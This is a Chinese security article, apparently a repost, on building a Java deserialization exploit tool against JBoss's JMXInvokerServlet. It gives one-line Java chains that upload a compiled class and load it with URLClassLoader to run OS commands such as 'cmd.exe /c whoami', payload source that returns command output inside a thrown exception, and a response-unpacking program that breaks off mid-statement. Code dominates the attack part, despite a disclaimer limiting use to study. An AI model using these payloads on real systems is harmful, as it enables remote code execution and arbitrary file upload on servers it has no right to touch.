原文地址:http://www.freebuf.com/tools/88908.htmlhtml
本文原創做者:rebeyondjava
文中說起的部分技術、工具可能帶有必定攻擊性,僅供安全學習和教學用途,禁止非法使用!shell
0×00 前言安全
前段時間java 的反序列化漏洞吵得沸沸揚揚,從剛開始國外某牛的一個能夠執行OS命令的payload生成器,到後來的經過URLClassLoader來加載遠程類來反彈shell。可是後來公司漏掃須要加規則來識別這種漏洞,而客戶的漏掃又時常會工做在純內網的環境下,所以遠程加載類的方法行不通。想到本身寫一個利用工具,因而有了下面這篇文章(本文以JBOSS爲例)。服務器
0×01目標app
1. EXP只能利用服務器本機的資源,不能加載遠程類。
2. 上傳任意文件至任意目錄。
3. 獲取命令執行的回顯內容。
0×02實現ide
EXP只能利用服務器本機的資源,不能加載遠程類:函數
經過對漏洞成因分析能夠得知,咱們只能經過鏈式調用來執行java語句。換句話說,咱們所想執行的語句必須能夠寫到一行裏面,並且還不能帶分號:( 其實這裏很好突破,咱們只要把咱們想要執行的任意代碼(不管有多長)在本地編譯成class,而後把class字節碼上傳到服務器就能夠了。而後問題又來了,怎麼上傳呢,上傳到什麼路徑下面呢?上傳能夠經過FileOutputStream這個類來實現,上傳路徑就更簡單了,直接給FileOutputStream傳個「.」過去,上傳到程序運行的當前目錄下面,一句話代碼:new FileOutputStream(「./payload.class」).write(new byte[]{0xXX,0xXX……})。上傳的問題解決了,下面執行也就好辦了,一句代碼:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(「payload」). newInstance(「cmd.exe /c whoami」)。工具
這樣就解決了咱們的兩個目標,只利用服務器本機資源,不須要聯網,能夠上傳任意文件至任意目錄。學習
獲取命令回顯內容:
經過對JBOSS中invoker/JMXInvokerServlet的返回結果進行分析,得知返回的是一個 MarshalledValue對象,該對象封裝了invoker/JMXInvokerServlet的返回值,若是執行過程當中有異常拋出,一個InvocationException對象就會封裝在MarshalledValue對象裏面。到這裏思路就很明確了,java 的異常有個構造函數是能夠傳String參數的,咱們能夠把第一步那個class文件中命令執行的結果做爲參數構造一個Exception,而後在payload.class最後throw這個Exception,這樣這個帶有回顯內容的Exception就會封裝在MarshalledValue對象裏面經過http協議返回,咱們只要把返回的MarshalledValue對象解包,就能夠獲取回顯的內容了。
下面給出payload.java的源代碼:
import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig { public RunCheckConfig(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
解包程序的源代碼:
public static void main(String args[]) throws Exception { FileInputStream fis = new FileInputStream("d:/response.bin"); byte TempByte[]=new byte[5000*1000]; int length=fis.read(TempByte); int ClassStart=0; for (int i=0;i<length;i++) { if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a) { System.out.println(i); ClassStart=i; break; } } byte ClassByte[]=new byte[length-ClassStart-4]; for (int i=0;i<ClassByte.length;i++) { ClassByte[i]=TempByte[i+ClassStart+4]; } fis.close(); TempByte=null; ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte); ObjectInputStream ois = new ObjectInputStream(ai); MarshalledValue st1 = (MarshalledValue) ois.readObject(); InvocationException o=(InvocationException) st1.get(); System.out.println(o.getTargetException().getCause().getCause().getCause().